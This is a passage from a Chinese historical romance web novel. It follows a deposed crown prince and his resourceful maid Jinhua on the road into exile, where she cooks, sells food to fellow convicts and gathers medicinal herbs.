可若说陆卿尘对佟素云有情,那言语之间有听不出半分的情意来。
锦婳伸手摸了摸床上人的额头,虽不高烧了,可还是有些发热。
又回头看了看谢威,他已经靠在方桌旁打盹儿了,看来今夜给废太子擦身子降温又是自己的活了。
锦婳沾湿了汗巾,轻轻擦拭废太子的四肢,这么一擦,就擦到了深夜,不知不觉竟靠在他床尾睡着了。
床上的陆卿尘只觉得身体被擦拭的很是舒服,只是身边那人半天没了动静,不禁转过头来看了看,原来是睡着了。
这婢女睡着了很是可爱,睫毛会微微颤动,皮肤白皙的透亮,吹弹可破,虽看着年龄不大,但过几年一定是个美人胚子。
只是自己如今是平民之身,还不知道能否挺过这一劫,若是挺得过,这几日受她的照料他定少不了恩赏。
若是挺不过去,也只能是她命不好了。
陆卿尘到底是有练武的底子,第二日一早,烧竟退了大半。
谢威一大早就不见了,锦婳心里正埋怨着,就看见谢威拎着几条鱼和一只鸡进了门。
看见锦婳愣在那,谢威喊了一声:“愣着干什么!还不接过去,给主子好好补补!”
锦婳回过神,赶忙上前伸手接了过去,这谢威还真是神通广大,冷宫戒备森严,他如何出去弄到这么多好东西。
转念一想,便不觉得奇怪了,谢威身位侍卫统领,自然武功高强,翻墙越舍自然不在话下。
那今日早晨就炖鱼汤,剩下的鱼腌了晒干,留着流放路上吃。
早晨只有一碗鱼汤,和锦婳烙的两张饼,床上的陆卿尘依然皱眉将鱼汤一饮而尽,饼子放在一边没有吃一口。
锦婳对谢威解释,剩下的鱼都腌了,是要晒成干带着流放路上吃,毕竟流放北境千万里远,东西自然准备的越多越好。
第一卷 第7章 流放
见谢威和床上的人都没有异议,锦婳匆忙吃了两口饼子,转身去外面收拾东西了。
陆卿尘再不济也是皇帝嫡出的儿子,他如今伤成那样,马车还是有的,只不过破烂了一些。
明日便是流放日,她们主仆三人就要上路了,马车已经由官差牵来,就停在后院里。
锦婳忙前忙后的倒腾东西,路上的干粮、水、被褥,能带的衣服都带上,锅碗瓢盆也不能拉下。
锦婳是苦日子里过来的,对流放自然没有多大的恐惧,如今她只是像个仓鼠似的拼命的搬东西。
谢威冷眼瞧着,这个婢女不声不响,也不多言多语,遇事却心中有数,事事都想到你的前头,以前竟没发现太子府中有这个奴婢。
第二日一早,天蒙蒙亮起来,就有官差来押人。
陆卿尘是被谢威抱到马车上的,身上的伤口还没完全结痂,谢威抱着他的时候万分小心,可陆卿尘还是满脸隐忍的痛苦,冷汗直流。
马车上,堆满的都是锦婳准备的粮食和衣物,只给陆卿尘留了一小条能躺的地方,可却又细心的铺上了一天旧褥子。
枕头边放的是一本本草纲目,给陆卿尘闲来无事打发时间用的。
谢威将陆卿尘小心翼翼的放在马车上躺好,锦婳略带歉意的说:“昨日收拾这冷宫里的东西,只找到了这么一本书,想着给你带着路上看解解闷,若是不喜欢就不带了。”
陆卿尘拿起手边的书,并未说话。
那来押解他们的官差们,看到这满满一马车的东西,却有些看不下去了,呵斥道:“你们是去流放,谁允许你们带这么多东西了!”
谢威立刻站出来解释道:“我们主子并非犯了事的犯人,陛下就算是责罚,也未必责罚一辈子,兴许哪天救开了恩,赦免了我主子也是说不定的。”
“再说我们主子的腿如今伤到了,准备的东西自然多一些。”
其中一个衙差眼睛一转,到底是废太子,皇帝嫡出的儿子,哪日皇帝宽恕了他,哪怕不再是太子,那也是皇室血脉,自己一个小小的押差得罪不起。
他拉了拉另一个衙差的衣袖,小声说:“算了吧,启程的时辰到了,切勿多生事端。”
马车里的东西属实是太多,谢威和锦婳并未上马车,而是谢威牵着马车,锦婳在马车窗边跟着马车走。
这次流放的不止废太子,还有很多犯了事的官员。
锦婳刚刚听见押解的官兵说:“别看此时出城的人多,不到半路就会死伤大半。”
锦婳回头看了看,跟着走带着手铐脚镣的起码有三四十人,他们大多还穿着单衣、布鞋,就要这样奔往北境那个苦寒之地了。
想着想着,锦婳打了个冷颤。
一阵风吹过,掀起马车的帘子,锦婳看见车里的人虽着华服,可眼神木然,仿佛没了生机。
心中又不免一阵唏嘘,太子殿下曾经是如何清风霁月般的人物,怎就成了这般的模样。
曾经众星捧月的太子殿下,如今落魄流放,无一人相送,就发妻都弃他而去,跑去给五皇子做了妾室。
城墙上,俪妃娘娘却是眼眸里抑制不住的兴奋与狡黠之色,她一身暗紫色衣裙在清晨朦胧的一丝光亮里,有些瘆人。
一旁的贴身小太监谄媚的看着俪妃尖声道:“娘娘好手段,这废太子再也挡不着咱们五皇子的路了,皇上如今如此宠爱娘娘,这太子之位必定是五皇子殿下的了!”
俪妃眼神阴冷的盯着远去的马车,露出一丝得逞的笑意:“挡我炫儿路的人,都得死!”
“他和他那死了的母亲,没用的皇后娘娘一个模样,都不得圣心,榆木疙瘩一般!哪有我炫儿这般的机灵,我不过在皇上那里稍稍添了一点火,皇上就气的恨不得将他乱棍打死!哈哈哈!”
贴身小太监见丽妃眼看要得势,更是谄媚的不得了,跪在丽妃脚下:“娘娘英明!将来这皇后宝座和太子之位,必定是您和五皇子殿下的!”
马车里,看似心如止水的陆卿尘,目光却如这世间最冰冷刺骨的寒冰一般,透过窗帘的缝隙看向城门上妖艳的丽妃。
这一局,看似丽妃和五皇子大获全胜,可风云未定,最终鹿死谁手还未可知。
陆卿尘目光落在了马车窗外跟着走的小宫女身上,他想起她那日在他万念俱灰、烧的迷迷糊糊时说的话,宫外天大地大,说不定真如她说的那般另有一番天地。
一行人清晨出发,跌跌撞撞的走到了中午,押解的官差一声令下,在破庙前休整一个时辰,还给每个犯人发了一块玉米面饼子。
锦婳结果玉米面饼子,略微皱了皱眉,这饼子看样子已经烙了有好几天了,硬的都能砸死人,一路上若是日日吃这个,恐怕走不到北边就真的饿死了。
她侧头看了看谢威,看样子他也是难以下咽,更别提马车里的废太子了。
不过幸好她早有准备,锦婳掀开马车的帘子,也顾不得陆卿尘愿不愿意,径直从他身上跨了过去。
翻了半天,锦婳从角落里掏出一片光滑的大瓷片,她小心翼翼的从筐里掏出一个鸡蛋,又舀了一勺面粉,放在大瓷碗里。
中午只休整一个时辰,她要做些快的吃食,能填饱三个人的肚子就成。
如今是流放,大家都是犯人,锦婳也不管谢威是什么头衔,自己麻利的冲洗大瓷片,头也不抬的吩咐谢威去捡些柴来。
谢威看了眼马车里的陆卿尘,陆卿尘微微点了点头,谢威便转身去林子里捡柴火。
不一会,谢威就扛了一小捆柴火回来了,锦婳是苦日子里活过来的,只抽了几根柴,点了火折子,架起了大瓷片。
剩下的柴火,锦婳让谢威都捆在了马车顶,谢威不是个懒的,干起活来也是不含糊,锦婳负责做饭,他便负责捆柴火。
而陆卿尘,则躺在马车里,看着那本本草纲目。
锦婳在大瓷片上抹了一点油,将和了鸡蛋的面粉糊糊摊在上面,撒上一些盐和青葱碎,不一会,破庙前香气浓郁。
锦婳把烙好的香葱鸡蛋饼分成三份,第一份自然要给陆卿尘,第二份锦婳给谢威多分了些,一路上力气活都要靠他,若是吃不饱便没有力气干活了。
她给自己留的那份略小些,自己身子还没长成,饭量又不大,吃不下太多粮食。
锦婳也是个麻利的,一边叼着饼,一边就将瓷片刷洗干净,重新收回马车上。
第一卷 第8章 赚钱
锦婳的这般操作,看得那群流犯两眼放光、口水直流。午间锦婳听那几个官兵闲聊,这帮流犯里也有身家显赫的官员和富贵至极的商人,平日里好茶好饭的惯了的,如今每人每顿只发一个能砸死人的玉米面打饼子,吃不饱不说,也实在是难以下咽。
这不,锦婳正埋头收拾东西的时候,一个小男孩就凑了过来。
“姐姐,你这是什么饼子,味道怎么这么香,能不能分我一块?”小男孩眼巴巴的看着锦婳嘴里叼着的鸡蛋饼,就差口水流到地上了。
锦婳停下手里的活,侧头看了看小男孩,七八岁上下的样子,应该和家里的弟弟年纪一般大。
这男孩虽然穿着囚服,可眉目清俊,一看就是富贵人家的孩子。
锦婳眉目一转,用手把嘴里叼着的饼子拿出来,低声问男孩:“你可有铜板?两文钱分你一半怎么样?”
小男孩听了直呼:“有的!你等我一下!”
那男孩转身跑的飞快,锦婳看他跑到了一个俊朗青年身边,男孩扭头指着锦婳对那青年手舞足蹈的说着什么,那青年宠溺的对男孩笑笑,从里怀里掏出了两个铜板,那男孩又一阵风似的跑了回来。
“给你铜板!”男孩跑的气喘吁吁,眼睛还不忘盯着锦婳手里的鸡蛋饼。
锦婳眼睛明亮,伸手接过铜板,放进荷包里,把手中的鸡蛋饼掰了两半,大的一半分给了男孩。
小男孩大口大口的吃起来,嘴里还嘟囔着:“姐姐,这饼真好吃,要是天天都能吃到就好了!”
锦婳手里的活也干完了,边吃着饼子边对男孩说:“我每餐都会做些简单的吃食,你若是想吃我就多做些,到时你拿铜板来买就是了。”
“那太好了!能不能多买些,给我爹爹、娘亲,还有哥哥也带一些!”
接着男孩踮起脚悄悄的附身在锦婳耳边小声说:“官差发的玉米饼子太难吃了!我吃不下!”
锦婳笑笑,也小声在男孩耳边说:“晚上我烙些菜饼子,你去告诉家人,若是愿意买,我就多做些。”
男孩点点头,又一阵风似的跑到青年身边,指着锦婳这边手舞足蹈的说了一通,那青年听过后便朝着锦这边走来。
虽然身着囚服,但那青年依然能看出气度不凡,步伐之间仿佛带着潇洒自如的风骨,丝毫不因自己身为囚徒而觉得低人一等。
青年很快便走到锦婳身边,微微拱手行礼,谦谦公子,温润如玉。
“姑娘有礼,鄙人黄轩,方才听小弟说,晚上可以卖我们些菜饼子,若是姑娘方便,想劳烦您卖我们几张。”
锦婳没读过什么书,只觉得这黄轩说话婉转好听,又谦卑有礼,顿时便心生好感。
她想着若是一路上能靠做饭攒些小钱,等到了北边弄个自己的小营生总是好的,好不容易出了皇宫,总不能一辈子给人家做婢女。
锦婳略微算了算,对黄轩说:“菜饼子不值什么钱,就卖你一文钱一张,但是我车上的菜剩的并不多了,所以只能卖你们每人两张,你看可还行?”
黄轩听了,便知道锦婳不是趁危漫天要价坑人的人,倒是个实在的,便满口答应:“行!那就多谢姑娘了!”
说着从怀里掏出一摞铜板,数了八枚递给锦婳:“有劳姑娘了,晚上我来取。”
锦婳接过铜板看着黄轩的背影若有所思,她没想到流放路上也能赚到钱,车上剩的菜属实不多了,那两个主子身上也没带钱,弄钱还得靠自己,看来路过菜地要和菜农们买一些才是了。
马车上的陆卿尘和马车下的谢威一边吃着饼子,一边旁观着锦婳和黄轩的这一幕。
谢威瞥了一眼那黄轩,眼神露出一丝不悦。
锦婳可是带出来伺候主子的,给他们一家烙饼子算是怎么回事?
主子虽说落魄了,失了太子的身份,可主子还有暗卫营,还有京城里满街的商铺,只是如今不知道锦婳是否衷心主子,有些话不好明说。
主子还没有落魄到要靠她卖饼子赚的那三瓜俩枣来养的地步吧!
陆卿尘躺在马车上,看着锦婳忙活了一个中午,赚了十文钱,反倒觉得很有趣。
这个婢女让他看到了人间的烟火气,从前他在东宫养尊处优、挥金如土,并不知银钱对于普通百姓竟是如此的难赚。
倒是那谢威,看到锦婳与那名叫黄轩的青年说话,满脸的不悦,不知可是与那婢女日久生情,生了爱慕的心思?
谢威年纪也不小了,想来也有二十几了,也是该成家的年纪了。
若不是自己遭了这么一难,也是该给他寻一位重臣贵女婚配,如今连累他随自己流放,竟对一个婢女起了心思。
三个人皆是不语,各自想着各自的心思。
押解的官差看锦婳竟做上了生意,本想制止,却被另一个官差拦下了。
“兄弟!多一事不如少一事,东宫的那位不是我们这些小卒得罪得起的!”
“不过就是落魄的废太子罢了,难不成陛下还能复他的位?谁不知道如今五皇子如日中天,圣眷正浓?”
“上面只说让我们监视,并没交代其他的,我们还是别多事的好!”
那官差听了有些憋愤的走到锦婳身边,狠狠的挥了两下鞭子:“走了!走了!再晚今天就走不出这片野林子了!”
啪啪!两声鞭响,原地休息的犯人们都无奈的爬起身继续朝前走。
吃过午饭,犯人们多少有了些力气,真的就在天黑之前走出了这片野林子。
可走出野林子,环境也没有好出多少,今夜看样子还在这片山脚下落脚了。
到了饭点,官差照常发能把人头都砸碎的玉米饼子。
锦婳去马车上掏菜板子和半棵白菜,瞥见陆卿尘正在看她之前准备的那本本草纲目。
锦婳心想,这人也是心态很好,从高高在上的太子爷到流犯,身份地位一落千丈,此刻却还能看进去书,看不出半分的失落神色。
陆卿尘自然知道是锦婳进了马车,却也没有抬眸。
倒是锦婳先开口问了一句:“可有看到什么药材能治身上的伤?”
陆卿尘放下手中的书,侧目看锦婳:“三七最好,活血化淤,生肌止痛。”
锦婳不觉凑近:“可知道长什么样?”
陆卿尘将书翻到三七那页,拿给锦婳看:“这是三七的叶子,类似掌状,通常每株为三片到七片。每片小叶子呈椭圆形,边缘有小锯齿,三七的果实是鲜红色一簇的红果子,三七就在这植物的根部,类似人参的样子。”
锦婳点了点头:“路上我会留意。”
说完便拿着食材下了马车。
锦婳下了马车,看见那群流犯已经吃上了玉米饼子,她也要抓紧生火做饭了。
柴火是早就捡好的,生火是她,洗菜、切菜也是她,她没好气的瞥了一眼旁边打盹儿的谢威和马车上看书的陆卿尘,都是没用的!
锦婳今日用的是糙面,精面已经没有多少了,白菜洗净剁碎,和进一盆糙面里,再放一捏盐巴,搅成面糊状。
最后一勺一勺的摊在青石板上,不一会竟也飘出了香味!
第一卷 第9章 抢吃食
黄家来人取走了八个菜饼子,盆里只剩不多的面了,锦婳将将摊了三个菜饼子。
谢威刚刚打了两桶水回来,现在又去捡柴火了,一路上体力活全靠他,吃不饱饭怎么行。
锦婳想了想爬上马车取了三个土豆来,直接扔进火堆里。
一人一张菜饼子,一个烤土豆,该是够了。
锦婳正忙活着,两个穿着囚服凶神恶煞的大汉站在了锦婳面前。
锦婳抬头一看,那俩人面色不善,直觉不好!
此时谢威还没回来,马车上还躺着个残废的,来硬的恐怕不行。
那俩抢了锦婳盆里三张烙好的菜饼子,还踢翻了锦婳烙饼子用的瓦片,锦婳想阻拦,却被生生扒拉了一个大跟头!
马车上的陆卿尘眼神凌厉的眯缝成一条线,刚想挪动身子,腿部的剧痛让他直接放弃了,重新躺了下来。
囚犯们目光都被这边的动静吸引了,锦婳重重的瘫坐在地上,她一个小姑娘家被一个身材魁梧的大汉推倒,只觉的屁股疼、胳膊疼、脚也疼,总之哪里都疼!
看锦婳一个小姑娘摔在地上爬不起来,围观的犯人们竟没有一个肯帮忙扶一把的。
就连黄家人也避之惟恐不及,人性不过如此,都是犯人,凭什么你们吃细粮,我们吃粗饼子,就连押解的官差们也跟着看热闹。
偏偏此刻谢威不在,陆卿尘又是个废人,只能躺在马车上,帮不上什么忙,锦婳在宫里搓磨多年,早就不是娇滴滴的小姑娘,此刻,唯有自救。
那俩人明显不好惹,身材魁梧不说,面色也凶,锦婳深吸了一口气,抬头看向俩人,缓缓的说:“两位大哥,你们只看到了我们今日吃细粮,并未看见马车上粮食已经不多了,等吃完了,我们也是要吃粗饼子的。”
“我家……公子,病重,若是不给他单做点吃食,怕是挺不到北边的。”
刚刚那扒拉锦婳的汉子说道:“看你们的穿着,不像是身上没有银两的样子,吃食没了,到了乡镇再采买就是了。”
锦婳丧气的说:“这位大哥说笑了,若是真的身上有银子,也不至于公子的伤也没钱医治。”
锦婳眼珠灵动一转,接着说:“这位大哥,我看你身上有把子力气,这一路山高水远,不如你们帮我家兄长干些力气活,我们吃什么保证有你们一份。”
这俩人是本家兄弟,名唤做申虎、申豹。本也不是犯了什么杀人放火的罪才流放的,是因为地主强占自己的妹子,才失手打伤了人。
那地主又是十里八村最有势力的一霸,就连县太爷都要恭敬他几分,两兄弟又罪不至死,最后竟被发配到了最苦的极寒之地,北境。
那地主就是想让两兄弟死在发配的路上,就算路上死不了,到了北境也得回活活冻死。
听锦婳这样说,兄弟俩对视一眼,点了点头:“那就这么说定了!”
周围看热闹的人散了,这时谢威也背着柴火回来了,很重很粗大的一捆柴,他扔在地上时溅起了厚厚的灰尘。
锦婳站起身拍了拍裤子上的土,走到谢威身边说:“谢大哥,我给你找了两个帮手,以后有什么力气活你只管吩咐便是,但是要管吃。”
谢威不过赶了一日的马车,砍了一日柴,却因为不得要领,属实有些熬不住了。
这活看似普通,却比在神机营里训练几天几夜都累人。
如今来了两个帮手,看样子还真是有把子力气的,接着谢威又疑惑的看向锦婳,这丫头一身的土,像是摔了跟头,难不成是被这俩人欺负了?
主子如今重伤未愈,还是不要惹事生非,谢威应了声:“好。”
锦婳揉揉大腿,刚才一屁股坐在地上,现在有些酸痛。
锦婳自小没少受继母的欺辱,大冬天雪水洗衣是常事,洗不干净继母就拿出藤条追着满院子打。
后来被卖到了宫里,因为家里没有行银子好处,又落到了最苦的浣衣局。
管事嬷嬷虽严厉,却不用藤条打人,犯了错,最重时不过饿上几天不给饭吃。
今儿不过是被推了一个跟头,虽然大腿有些酸痛,却不碍事。
饼子被人抢走了,锦婳收拾好炉火,拾起大瓦片,还好没有踢碎,不然这一路若是捡不到这样的东西,热乎饭都吃不上了。
谢威见那俩人蹲到一旁的大树下吃着锦婳烙的热乎乎的菜饼子,不觉凑到锦婳身旁也跟着蹲下,小声询问道:“方才我不在时是否发生了什么事?”
刚刚化险为夷,锦婳轻轻叹了一口气说:“大概是我做餐食,太过招摇,惹了流犯们嫉恨,那俩人抢走了我刚刚做的饼子。”
谢威是聪明人,立刻懂了刚刚发生了什么。
若是往常,他当然不会把那两个流犯放在眼里,必定好好教训他们一番。
可如今主子龙游潜邸,还有大事未成,这些小事,还需忍耐。
谢威愣神之际,锦婳捡起了一根未烧完的柴火,从火堆的灰烬里扒拉出了三个黑球似的东西。
锦婳用柴火棍将上面的黑灰扒拉干净,递给谢威一个:“给,剥皮吃。”
谢威眉头微皱,有些不敢接:“这是……”
锦婳把黑乎乎的土豆放到他手里,拿起地上的土豆,开始剥皮,她自顾自的说:“烤土豆,小时候家里穷,经常吃不饱饭,我和弟弟秋天就去山上的地里捡别人家挖坏了的和没人捡的小土豆,存到冬日里,饿的时候烤上几个,就能填饱肚子。”
锦婳说这些的时候面色温柔,语气温暖,眼睛里闪着星星点点的光。
谢威也学着锦婳把土豆皮剥开,露出的果然是娇黄的瓤,在谢威手里冒着热气,甚是诱人!
谢威咬了一口,嗯!好吃!粉粉面面,还有一种烧烤特有的香味。
谢威也是饿了,三口两口就吞下了那个土豆,嘴里囫囵着问:“你还有个弟弟?”
“嗯,不知道是不是还活着。”锦婳用再平常不过的语气说着,谢威努力感受,也未听出她语气里有一丝情绪,仿佛说的是别人家的事,可方才听她说,她幼年时和弟弟捡土豆的事,明明又很姐弟情深。
这丫头一路跟着他们主仆二人吃苦、受累,从未抱怨过,若是他日主子翻身,抬她做个妾室也不是不可。
谢威想到这,开始观察蹲在旁边的锦婳,五官长得倒是挺标致,就是成日里风吹日晒的黑了不少,他记得主子喜欢白皙的女子,前太子妃的肤色就宛若牛乳似的。
锦婳一边剥着土豆皮,一边往谢威身边凑了凑,小声嘀咕着:“谢大人,主子今日与我说,三七对治他的伤有用,这一片是笠县的地带,正是盛产药材,主子给我看了图画,这一路走来我好像见过。”
谢威看着锦婳问:“你的意思是,自己采药给主子治?”
锦婳点点头,一双灵动的大眼睛看着谢威,清澈明亮,藏不下任何私心。
“我们身上也没有钱,根本请不起郎中,主子的伤也耽误不得,还有……我想了想,让那俩人赶马车,我们去采药材,一来可以给主子治伤,二来余下的药材也可以拿到经过的镇子上换点钱。”
说完锦婳看了看靠在树下休息的申虎和申豹说:“他们也不好白吃我们的是吧?”
谢威还真没过过身上没钱的日子,现在主子的伤要紧,这丫头说的也有些道理,谢威想了想对锦婳点头说:“若是能治主子的伤,那自然好,你以后也不必叫我谢大人,现在都是流犯,叫我谢大哥即可。”
接着,谢威看着树下休息那俩人皱了眉:“只是……不知那俩人犯了什么事,是否可信,我去打探打探。”
谢威说完就起身往大树那里走,锦婳把剥好的土豆放在怀里掏出来的干净的帕子上,起身拿给马车上的陆卿尘。
陆卿尘还是躺在马车上看那本本草纲目,还是维持刚刚那个姿势,纹丝未动。
他接过锦婳递来的土豆,也不挑剔,看都不看就往嘴里放,锦婳看了心底竟一阵酸涩。
往日她在太子府就是负责主子们的吃食的,太子平日吃的有多讲究她怎么会不知道。
就连太子爱吃的小混沌都要用老母鸡汤煨着,更别提点心都有多精致了,太子爱吃的枣泥酥,红枣都是上好的吐蕃进贡当年大红枣,蒸熟去皮,压成泥,再掺些冰糖,制成馅,包在面皮里,就连压枣泥酥的模具都是红木打造的梅花图案,当时锦婳心想,天上的王母娘娘吃的也不过如此了。
再瞧瞧现在,马车上这位落魄太子,已经好些天没换衣服了,在宫里时,太子一日至少要换三两次衣服的,她在浣衣局时便洗过他的衣服。
即便是主子换下来的衣服,也是一点不脏的,还带着他身上特有的清香的体味。
锦婳想着这些,退了出去。锦婳蹲在灭了的火堆旁,剥着自己的土豆,自己刚才竟然心疼起废太子了,想想也是可笑。
第一卷 第10章 采草药
锦婳蹲在灭了的火堆旁,吃着凉了的烤土豆,撇头看谢威蹲在树下和人家聊上了。
申虎和申豹两兄弟原来干过走镖的活,怪不得看着身强体壮,身上也是带着些功夫的。
这两兄弟还跟谢威透露,这个流放的队伍里黄家人最有钱。
流放前黄家是倒卖私盐的,被抓住后得上面力保,才不至于落个杀头之罪,瘦死的骆驼比马大,申家两兄弟说,黄家人身上带了不少银两。
剩下的流犯就都是平头百姓了。
天渐渐黑了下来,等谢威回来,锦婳已经在准备明日的吃食。
简简单单烙了些糙饼子,夜色深了,有些看不清,锦婳的手都烫出了几个水泡。
从冷宫里带出来的人参渣渣,锦婳掏出来用破罐子煮了一罐子人参水,带着明日路上喝。
那群流犯休息时除了睡觉本也无趣,闲暇时看锦婳忙碌,简直看呆了。
这小丫头从不娇滴滴的,做饭更是一把好手,还能挣银子,如今这境地还能煮出人参水,将来谁家得了她,可真是得了个宝贝!
锦婳忙活完,收拾起自己的破瓦片,破罐子,一转头大家都在看她,那是怎么回事?
晚上就要在这野林子里睡了,流犯们身着单衣,没有被褥也只能席地而睡,看着很是可怜。
马车里只有两床棉被,一床盖在陆卿尘身上,还有一床给了谢威。
锦婳收拾了一通,将烙好的饼子,煮好的人参水都挂在马车上,已经是深夜了。
夜里的风凉飕飕的,靠着马车睡明日恐怕要感染风寒,锦婳打了个哆嗦,犹豫犹豫再犹豫,还是硬着头皮上了马车。
锦婳掀开陆卿尘脚底的被子,蜷缩着钻了进去,就露出一个毛茸茸的小脑袋,这样暖和多了,累了一天,不一会儿锦婳就睡着了。
陆卿尘一直闭目养神,感觉到有人钻进自己的被褥里,警觉的睁开了眼。
一看是锦婳那个小丫头,然后继续闭眼。
这一夜陆卿尘竟睡的出奇的安稳,之前在太子府也很少睡过这样的安稳觉,母后逝世后,他便不喜人近身,就算是前太子妃,也很少行亲密之事,那位李侧妃他更是碰都没碰过。
即便是与太子妃事后,也是回各自的房间,陆卿尘若是与其他人共睡一个床,便会一夜无眠。
没想到,他的身体竟不抗拒锦婳这个小丫头。
锦婳睡的倒是腰酸背痛,她知道陆卿尘素来爱干净的,她蜷缩在陆卿尘的脚底下,还隔着两拳的距离。锦婳不敢靠陆卿尘太近,守着奴婢的规矩。
锦婳自打进了冷宫就没换过衣服,没洗过澡,又整日的烧火做饭,一身的油烟味。
而陆卿尘的被子里,还有他特有的木香的体味。这味道她在浣衣局洗衣的时候就闻到过,太子的衣服清洗的是最精心的,太子素来爱干净是出了名的。他的衣服每日还有专人熏香,就是这股子木香味儿,如同雪后的松柏,一股高洁、清雅的味道,锦婳知道陆卿尘没睡着,她也真的没想到他没把她赶下马车。
清晨,马车外开始传来了熙熙攘攘的声音,是流放队伍要开始前行了。
锦婳揉揉酸痛的肩膀,下了马车,谢威收着被子,一脸诧异的看着锦婳从陆卿尘的马车上下来,他真是有些看不懂了。
锦婳倒是没理会谢威的眼光,只淡淡的说了一句,地上睡太冷了。
锦婳开始分昨天晚上烙好的饼子,昨日的饼子被抢,黄家人连个帮忙出头说话的都没有,锦婳心里犯了膈应,今日并没有带黄家的份,黄家人倒是也识趣,今日没有上前讨买吃食,而是蹲在树下啃着官差发的硬硬的大饼子。
锦婳给申家兄弟一人分了两个粗面饼子,今日赶车和照顾陆卿尘的活就托付给申家兄弟俩了。今日她打算和谢威去采草药,一来是给陆卿尘治伤,二来她昨日听见押解的官差聊天,过两日要路过盖县的境地,官差们也要去采买,她想着采的草药兴许能卖些银钱,到时候换些吃食,整日里吃大饼子,把人都吃的没什么胃口了。
锦婳把熬好的人参汤给陆卿尘倒了一碗,又拿了一个粗面饼子放在他身边,然后和谢威囫囵吃了几口饼子,背着背篓就出发了。
今日流放的路上,都是草丛,有些看似是草药的锦婳不认识,都一股脑的扔进身后的背篓里,反正陆卿尘那本本草纲目已经都翻烂了,到时让他挑拣便是了。
锦婳和谢威忙活了一个上午,两人身后背篓都装的满满的,锦婳把两背篓草药都扔进陆卿尘的马车里,剩下的活就交给他了。
虽说之前在皇宫里他是太子,可如今大家都是流犯,都是一样的,他不能整日躺在马车上享福,白吃白喝,什么也不干不是!
谢威不可思议的看着锦婳,那可是主子啊,如今虽说被贬落魄,但那也是主子啊!
自己一个禁卫将军被她使唤了一上午也就算了,她多大的胆子敢指使主子干活!
可一转头看陆卿尘,谢威又不懂了,陆卿尘面上竟没有一丝的不愿意,甚至已经开始照着书开始挑拣草药了!
想起昨夜主子竟然允许这丫头上马车和自己盖一床被子睡,今日又准了自己陪她采草药,把赶车的活交给申家那兄弟俩,连自己的安危都不顾了,主子对锦婳可真是宠啊!
莫不是,主子对锦婳起了心思?
谢威心里满是嘀咕,转头又看锦婳,那丫头又热络的和申家那两兄弟套近乎呢!
锦婳那丫头好似没开窍似的,对男女大防看的并不重,和谁都哥哥妹妹的,一双眼睛清澈见底,对谁都好,看样子她对主子应该是没有怀什么心思。
锦婳好像对自己一上午的成果很满意,笑嘻嘻的对申家两兄弟说:“二位大哥辛苦了,帮我们赶了一上午的车,今天中午我给二位大哥做点好的,犒劳你们的辛苦。”
第一卷 第11章 撑腰
锦婳又转头指使谢威去打水,今天中午她要做蒸鱼米饭。
鱼干是她在冷宫里就晒好的,白米袋里舀了三碗白米,淘洗干净放在陶瓷罐子里,清水没过白米,铺上五块咸鱼干,架在火上慢慢蒸熟。
锦婳还从马车里掏出一个有些干巴的茄子,这茄子没有水分了,炒着吃才好吃,不然口感会水水的,没有嚼头。
多亏了她捡的大瓦片,烙饼、炒菜,味道一点也不输宫里的铁锅。
锦婳将茄子切碎,瓦片上放油烧热,若是在宫里配菜齐全,还可以放些葱姜蒜、青椒等配菜,如今在流放路上,能吃上炒茄子已是不易了。
锦婳将干巴的茄子块下锅,油烹的茄子满是香味儿!翻炒了几下,撒上些盐,米饭也快蒸好了,一股脑的将茄子倒在蒸好的米饭上。
茄子的油顺着米饭的缝隙流到罐子底,附在每一粒米饭上,锦婳拿出冷宫里带出来的碗,每人分了一碗米饭,上面盖的炒茄子和一块咸鱼。
饭菜的香味儿很是诱人,那些老老少少的流犯都侧目看着流着口水。
没钱的流犯哪里买的起锦婳做的饭菜,只能眼馋着,干看着。
黄家人倒是有钱,却没脸上钱来讨买,馋的黄家那位小公子哇哇直哭。
谢威和陆卿尘坐在马车里吃,锦婳和申家兄弟蹲在大树下,背靠着大树吃。
流放路上,还从没吃过这么香的热乎饭菜,锦婳今日采了草药,想着过两日便能在镇子上的药铺里换些钱,便狠狠心把马车里的粮食存货拿出来一些享用。
方才炒菜时谢威还蹲下问她,今日怎得这般的大方,以后的日子不过了?莫非是看上了申家兄弟里的哪一个了?
锦婳白了他一眼,采草药换钱的事儿,暂时还不能说,那不过是她听见官差说的一句闲话罢了,若是草药换不了钱,怕是要叫大伙失望了。
申家兄弟三口两口便扒拉完了一碗米饭,就连蒸米饭罐子上的锅巴都抠下来吃了个光。
兄弟俩狼吞虎咽,意犹未尽,连碗上的油都舔干净了。
申虎酒足饭饱,靠着大树打盹儿晒太阳,打趣锦婳道:“妹子,这饭菜可真香,过年时村子里的席面也赶不上你的手艺!你若是没有许人家,到了北境不如就跟了我吧!我上山打猎,你在家做饭!”
谢威下了马车,正收拾碗筷时听见了申虎的这般言论,立刻不干了。
锦婳可是主子的人,怎么容得了别人打趣!
还没等锦婳反应过来,谢威便冲上前去:“我妹子怎是可以随便嫁人的!要娶我家妹子,银子方面自然不用说了,最起码还得有个一官半职的,食朝廷俸禄,你连遮身的片瓦都没有,还妄想娶我家妹子!”
申虎被谢威说的脸一阵白,一针红的,他本来也就是开个玩笑,调侃调侃这个小丫头,没想到这谢威冲过来就是一顿羞辱!
申虎恼羞成怒,起身拂袖而去,申豹也起身跟着小跑,还不忘转身拎着罐子碗筷拿到河边洗。
锦婳蹲坐在树下,仰着头,小眼睛一眨一眨亮晶晶的看着谢威,刚才谢威一口一个我家妹子的维护她,让她听了心里又暖又痒的。
自打母亲去世后,就再也没有人维护过她了。
锦婳母亲去的早,还给她留下了一个年幼的弟弟。
继母和继姐对她们姐弟俩很是苛刻,父亲又是个不拿事的,锦婳和弟弟经常吃不饱、穿不暖。
吃不饱的锦婳只能上街讨食喂养弟弟,记得有一次,锦婳上街好不容易讨到了一碗糙米粥,打算拿回去给弟弟吃。
没成想却撞上了那个经常欺负她的男孩,那男孩见她手里端着一碗要来的糙米粥,嘲笑她是要饭的,说她是没娘的孩儿。
还一把打翻了锦婳手里的粥碗,锦婳气不过,冲上去推了那男孩一把,那男孩转身就哭着去回家找自己的娘亲了。
那天,因那碗粥打翻了,锦婳和弟弟饿了一夜的肚子。
男孩的哥哥见弟弟吃了亏,很是气不过,傍晚拉着男孩冲到锦婳家,对着锦婳一顿推搡,锦婳的弟弟当年还不过两三岁的年纪,看见姐姐被欺负,吓得坐在地上哇哇大哭。
继母还跟着一起在父亲面前添油加醋,说锦婳成日里的惹事生非,家务活一点也不干,家里什么吃食没有?竟然还上街去要饭去,不是成心打他们两夫妇的脸面嘛!
